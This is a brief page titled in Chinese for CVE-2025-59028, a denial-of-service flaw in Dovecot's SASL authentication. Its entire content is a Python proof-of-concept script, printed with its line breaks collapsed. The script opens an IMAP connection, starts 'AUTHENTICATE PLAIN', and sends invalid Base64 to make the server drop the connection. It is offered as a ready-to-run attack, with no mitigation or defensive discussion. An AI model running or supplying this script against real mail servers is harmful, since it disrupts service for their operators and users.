CVE-2025-59028 Dovecot SASL认证拒绝服务漏洞

import socket import time # PoC for CVE-2025-59028: Dovecot SASL Base64 DoS # This script sends invalid Base64 data to trigger the disconnect. TARGET_IP = "192.168.1.100" TARGET_PORT = 143 # IMAP Port def send_invalid_base64(): try: print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, TARGET_PORT)) # Receive server banner banner = s.recv(1024) print(f"[+] Banner: {banner.decode().strip()}") # Attempt to authenticate using PLAIN mechanism # Sending AUTHENTICATE command s.send(b"A001 AUTHENTICATE PLAIN\r\n") resp = s.recv(1024) print(f"[+] Server response: {resp.decode().strip()}") # Send invalid Base64 data (e.g., '!!!' is not valid Base64) # This should trigger the vulnerability payload = b"!!!" print(f"[*] Sending invalid payload: {payload}") s.send(payload + b"\r\n") # Check response or timeout try: final_resp = s.recv(1024) print(f"[+] Final response: {final_resp.decode().strip()}") except socket.timeout: print("[!] Connection timed out (possible DoS)") s.close() except Exception as e: print(f"Error: {e}") if __name__ == "__main__": send_invalid_base64()